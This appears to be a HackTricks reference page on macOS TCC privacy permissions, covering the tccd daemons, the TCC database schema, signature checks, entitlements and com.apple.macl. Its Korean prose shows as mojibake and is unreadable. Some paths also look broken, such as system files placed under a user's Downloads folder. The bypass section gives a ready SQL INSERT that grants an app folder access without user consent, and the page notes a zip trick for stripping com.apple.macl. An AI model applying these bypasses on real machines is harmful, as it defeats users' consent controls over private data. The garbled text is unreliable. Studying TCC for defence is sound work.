macOS TCC

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**TCC (ํˆฌ๋ช…์„ฑ, ๋™์˜ ๋ฐ ์ œ์–ด)**๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ถŒํ•œ์„ ๊ทœ์ œํ•˜๋Š” ๋ฐ ์ค‘์ ์„ ๋‘” ๋ณด์•ˆ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ๊ทธ ์ฃผ์š” ์—ญํ• ์€ ์œ„์น˜ ์„œ๋น„์Šค, ์—ฐ๋ฝ์ฒ˜, ์‚ฌ์ง„, ๋งˆ์ดํฌ, ์นด๋ฉ”๋ผ, ์ ‘๊ทผ์„ฑ ๋ฐ ์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผ๊ณผ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ๊ธฐ๋Šฅ์„ ๋ณดํ˜ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. TCC๋Š” ์ด๋Ÿฌํ•œ ์š”์†Œ์— ๋Œ€ํ•œ ์•ฑ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๊ธฐ ์ „์— ๋ช…์‹œ์ ์ธ ์‚ฌ์šฉ์ž ๋™์˜๋ฅผ ์š”๊ตฌํ•จ์œผ๋กœ์จ ๊ฐœ์ธ ์ •๋ณด ๋ณดํ˜ธ์™€ ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ณดํ˜ธ๋œ ๊ธฐ๋Šฅ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์š”์ฒญํ•  ๋•Œ TCC๋ฅผ ๊ฒฝํ—˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผ์„ ์Šน์ธํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ๋Š” ํ”„๋กฌํ”„ํŠธ๋ฅผ ํ†ตํ•ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, TCC๋Š” ํŒŒ์ผ์„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๋“œ๋ž˜๊ทธ ์•ค ๋“œ๋กญํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ์ง์ ‘์ ์ธ ์‚ฌ์šฉ์ž ํ–‰๋™์„ ์ˆ˜์šฉํ•˜์—ฌ ํŠน์ • ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋ฉฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ช…์‹œ์ ์œผ๋กœ ํ—ˆ์šฉ๋œ ๊ฒƒ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

TCC ํ”„๋กฌํ”„ํŠธ์˜ ์˜ˆ

TCC๋Š” /System/Library/PrivateFrameworks/TCC.framework/Support/tccd์— ์œ„์น˜ํ•œ ๋ฐ๋ชฌ์— ์˜ํ•ด ์ฒ˜๋ฆฌ๋˜๋ฉฐ, /System/Library/LaunchDaemons/com.apple.tccd.system.plist์—์„œ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค (mach ์„œ๋น„์Šค com.apple.tccd.system ๋“ฑ๋ก).

๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ์‚ฌ์šฉ์ž ๋ชจ๋“œ tccd๊ฐ€ /System/Library/LaunchAgents/com.apple.tccd.plist์— ์ •์˜๋˜์–ด ์žˆ์œผ๋ฉฐ, mach ์„œ๋น„์Šค com.apple.tccd์™€ com.apple.usernotifications.delegate.com.apple.tccd๋ฅผ ๋“ฑ๋กํ•ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์—์„œ ์‹œ์Šคํ…œ๊ณผ ์‚ฌ์šฉ์ž๋กœ์„œ ์‹คํ–‰ ์ค‘์ธ tccd๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

๊ถŒํ•œ์€ ๋ถ€๋ชจ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ƒ์†๋˜๋ฉฐ, ๊ถŒํ•œ์€ Bundle ID์™€ Developer ID๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ถ”์ ๋ฉ๋‹ˆ๋‹ค.

TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค

ํ—ˆ์šฉ/๊ฑฐ๋ถ€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค:

  • **/Library/Application Support/com.apple.TCC/TCC.db**์— ์žˆ๋Š” ์‹œ์Šคํ…œ ์ „์ฒด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค.
  • ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” SIP ๋ณดํ˜ธ๋˜์–ด ์žˆ์–ด, SIP ์šฐํšŒ๋งŒ์ด ์—ฌ๊ธฐ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค **$HOME/Library/Application Support/com.apple.TCC/TCC.db**๋Š” ์‚ฌ์šฉ์ž๋ณ„ ์„ค์ •์„ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ๋ณดํ˜ธ๋˜์–ด ์žˆ์–ด, Full Disk Access์™€ ๊ฐ™์€ ๋†’์€ TCC ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํ”„๋กœ์„ธ์Šค๋งŒ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(ํ•˜์ง€๋งŒ SIP๋กœ ๋ณดํ˜ธ๋˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค).

Warning

์ด์ „ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์ฝ๊ธฐ ์ ‘๊ทผ์„ ์œ„ํ•œ TCC ๋ณดํ˜ธ๋„ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ TCC ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์•„๋‹Œ ์ด์ƒ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋†’์€ ๊ถŒํ•œ(์˜ˆ: FDA ๋˜๋Š” kTCCServiceEndpointSecurityClient)์„ ๊ฐ€์ง„ ํ”„๋กœ์„ธ์Šค๋Š” ์‚ฌ์šฉ์ž TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • **/var/db/locationd/clients.plist**์— ์žˆ๋Š” ์„ธ ๋ฒˆ์งธ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์œ„์น˜ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • SIP ๋ณดํ˜ธ ํŒŒ์ผ /Users/carlospolop/Downloads/REG.db (TCC๋กœ ์ฝ๊ธฐ ์ ‘๊ทผ๋„ ๋ณดํ˜ธ๋จ)์—๋Š” ๋ชจ๋“  ์œ ํšจํ•œ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์œ„์น˜๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • SIP ๋ณดํ˜ธ ํŒŒ์ผ /Users/carlospolop/Downloads/MDMOverrides.plist (TCC๋กœ ์ฝ๊ธฐ ์ ‘๊ทผ๋„ ๋ณดํ˜ธ๋จ)์—๋Š” ๋” ๋งŽ์€ TCC ํ—ˆ์šฉ ๊ถŒํ•œ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • SIP ๋ณดํ˜ธ ํŒŒ์ผ /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (๋ˆ„๊ตฌ๋‚˜ ์ฝ์„ ์ˆ˜ ์žˆ์Œ)์€ TCC ์˜ˆ์™ธ๊ฐ€ ํ•„์š”ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ—ˆ์šฉ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค.

Tip

iOS์˜ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” **/private/var/mobile/Library/TCC/TCC.db**์— ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

์•Œ๋ฆผ ์„ผํ„ฐ UI๋Š” ์‹œ์Šคํ…œ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ณ€๊ฒฝ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

๊ทธ๋Ÿฌ๋‚˜ ์‚ฌ์šฉ์ž๋Š” tccutil ๋ช…๋ น์ค„ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋กœ ๊ทœ์น™์„ ์‚ญ์ œํ•˜๊ฑฐ๋‚˜ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ฟผ๋ฆฌ

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

Tip

๋‘ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ํ™•์ธํ•˜๋ฉด ์•ฑ์ด ํ—ˆ์šฉํ•œ ๊ถŒํ•œ, ๊ธˆ์ง€ํ•œ ๊ถŒํ•œ ๋˜๋Š” ์—†๋Š” ๊ถŒํ•œ(์š”์ฒญํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค)์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • **service**๋Š” TCC ๊ถŒํ•œ์˜ ๋ฌธ์ž์—ด ํ‘œํ˜„์ž…๋‹ˆ๋‹ค.
  • **client**๋Š” ๋ฒˆ๋“ค ID ๋˜๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š” ์ด์ง„ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ์ž…๋‹ˆ๋‹ค.
  • **client_type**์€ ๋ฒˆ๋“ค ์‹๋ณ„์ž(0)์ธ์ง€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ(1)์ธ์ง€ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
์ ˆ๋Œ€ ๊ฒฝ๋กœ์ธ ๊ฒฝ์šฐ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•

**launctl load you_bin.plist**๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. plist๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • **auth_value**๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ๊ฐ’์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: denied(0), unknown(1), allowed(2), ๋˜๋Š” limited(3).
  • **auth_reason**์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ’์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
  • csreq ํ•„๋“œ๋Š” ์ด์ง„ ํŒŒ์ผ์„ ๊ฒ€์ฆํ•˜๊ณ  TCC ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋‚˜ํƒ€๋‚ด๊ธฐ ์œ„ํ•ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

System Preferences --> Security & Privacy --> Privacy --> Files and Folders์—์„œ ์•ฑ์— ์ด๋ฏธ ๋ถ€์—ฌ๋œ ๊ถŒํ•œ์„ ํ™•์ธํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

์‚ฌ์šฉ์ž๋Š” **tccutil**์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ทœ์น™์„ ์‚ญ์ œํ•˜๊ฑฐ๋‚˜ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

TCC ๊ถŒํ•œ ์žฌ์„ค์ •

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC ์„œ๋ช… ๊ฒ€์‚ฌ

TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฒˆ๋“ค ID๋ฅผ ์ €์žฅํ•˜์ง€๋งŒ, ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ์š”์ฒญํ•˜๋Š” ์•ฑ์ด ์˜ฌ๋ฐ”๋ฅธ ๊ฒƒ์ธ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์„œ๋ช…์— ๋Œ€ํ•œ ์ •๋ณด๋„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

Warning

๋”ฐ๋ผ์„œ, ๋™์ผํ•œ ์ด๋ฆ„๊ณผ ๋ฒˆ๋“ค ID๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋‹ค๋ฅธ ์•ฑ์— ๋ถ€์—ฌ๋œ ๊ถŒํ•œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๊ถŒํ•œ ๋ฐ TCC ๊ถŒํ•œ

์•ฑ์€ ๋‹จ์ˆœํžˆ ์š”์ฒญํ•˜๊ณ  ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋Š” ๋ถ€์กฑํ•˜๋ฉฐ, ๊ด€๋ จ ๊ถŒํ•œ์„ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด Telegram์€ ์นด๋ฉ”๋ผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด com.apple.security.device.camera ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ถŒํ•œ์ด ์—†๋Š” ์•ฑ์€ ์นด๋ฉ”๋ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์œผ๋ฉฐ (์‚ฌ์šฉ์ž์—๊ฒŒ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜์ง€๋„ ์•Š์Šต๋‹ˆ๋‹ค).

๊ทธ๋Ÿฌ๋‚˜ ์•ฑ์ด ~/Desktop, ~/Downloads ๋ฐ ~/Documents์™€ ๊ฐ™์€ ํŠน์ • ์‚ฌ์šฉ์ž ํด๋”์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ํŠน์ • ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์€ ์ ‘๊ทผ์„ ํˆฌ๋ช…ํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•˜๊ณ  ํ•„์š”์— ๋”ฐ๋ผ ์‚ฌ์šฉ์ž์—๊ฒŒ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.

Apple์˜ ์•ฑ์€ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋“ค์€ ๊ถŒํ•œ ๋ชฉ๋ก์— ์‚ฌ์ „ ๋ถ€์—ฌ๋œ ๊ถŒํ•œ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด, ๊ฒฐ์ฝ” ํŒ์—…์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์œผ๋ฉฐ, TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋‚˜ํƒ€๋‚˜์ง€๋„ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

์ด๊ฒƒ์€ Calendar๊ฐ€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์•Œ๋ฆผ, ์บ˜๋ฆฐ๋” ๋ฐ ์ฃผ์†Œ๋ก์— ์ ‘๊ทผํ•  ๊ฒƒ์„ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์„ ํ”ผํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Tip

๊ถŒํ•œ์— ๋Œ€ํ•œ ๊ณต์‹ ๋ฌธ์„œ ์™ธ์—๋„ https://newosxbook.com/ent.jl์—์„œ ๋น„๊ณต์‹์ ์ธ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ถ€ TCC ๊ถŒํ•œ์€: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotosโ€ฆ ๋ชจ๋“  ๊ถŒํ•œ์„ ์ •์˜ํ•˜๋Š” ๊ณต๊ฐœ ๋ชฉ๋ก์€ ์—†์ง€๋งŒ ์ด ์•Œ๋ ค์ง„ ๋ชฉ๋ก์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฏผ๊ฐํ•œ ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ์žฅ์†Œ

  • $HOME (์ž์ฒด)
  • $HOME/.ssh, $HOME/.aws ๋“ฑ
  • /tmp

์‚ฌ์šฉ์ž ์˜๋„ / com.apple.macl

์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์•ฑ์œผ๋กœ ๋“œ๋ž˜๊ทธ ์•ค ๋“œ๋กญํ•˜์—ฌ ์ ‘๊ทผ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ์€ ์–ด๋–ค TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—๋„ ๋ช…์‹œ๋˜์ง€ ์•Š์ง€๋งŒ ํŒŒ์ผ์˜ ํ™•์žฅ๋œ ์†์„ฑ์œผ๋กœ ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ ํ—ˆ์šฉ๋œ ์•ฑ์˜ UUID๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค:

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

Tip

ํฅ๋ฏธ๋กœ์šด ์ ์€ com.apple.macl ์†์„ฑ์ด tccd๊ฐ€ ์•„๋‹Œ Sandbox์— ์˜ํ•ด ๊ด€๋ฆฌ๋œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋˜ํ•œ, ์ปดํ“จํ„ฐ์—์„œ ์•ฑ์˜ UUID๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ํŒŒ์ผ์„ ๋‹ค๋ฅธ ์ปดํ“จํ„ฐ๋กœ ์ด๋™ํ•˜๋ฉด, ๋™์ผํ•œ ์•ฑ์ด ๋‹ค๋ฅธ UID๋ฅผ ๊ฐ€์ง€๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ์•ฑ์— ๋Œ€ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

ํ™•์žฅ ์†์„ฑ com.apple.macl ๋Š” ๋‹ค๋ฅธ ํ™•์žฅ ์†์„ฑ๊ณผ ๋‹ฌ๋ฆฌ SIP์— ์˜ํ•ด ๋ณดํ˜ธ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ง€์šธ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ ์„ค๋ช…๋œ ๋ฐ”์™€ ๊ฐ™์ด, ํŒŒ์ผ์„ ์••์ถ•ํ•˜๊ณ  ์‚ญ์ œํ•œ ํ›„ ์••์ถ• ํ•ด์ œํ•˜๋ฉด ์ด๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

TCC Privesc & Bypasses

TCC์— ์‚ฝ์ž…

์–ด๋–ค ์‹œ์ ์—์„œ TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ์ ‘๊ทผ ๊ถŒํ•œ์„ ์–ป์œผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ฃผ์„์„ ์ œ๊ฑฐํ•˜์„ธ์š”):

TCC์— ์‚ฝ์ž… ์˜ˆ์ œ ```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC ํŽ˜์ด๋กœ๋“œ

TCC ๊ถŒํ•œ์ด ์žˆ๋Š” ์•ฑ์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ์—ˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ TCC ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

macOS TCC Payloads

Apple Events

Apple Events์— ๋Œ€ํ•ด ์•Œ์•„๋ณด์„ธ์š”:

macOS Apple Events

Automation (Finder) to FDA*

Automation ๊ถŒํ•œ์˜ TCC ์ด๋ฆ„์€: kTCCServiceAppleEvents
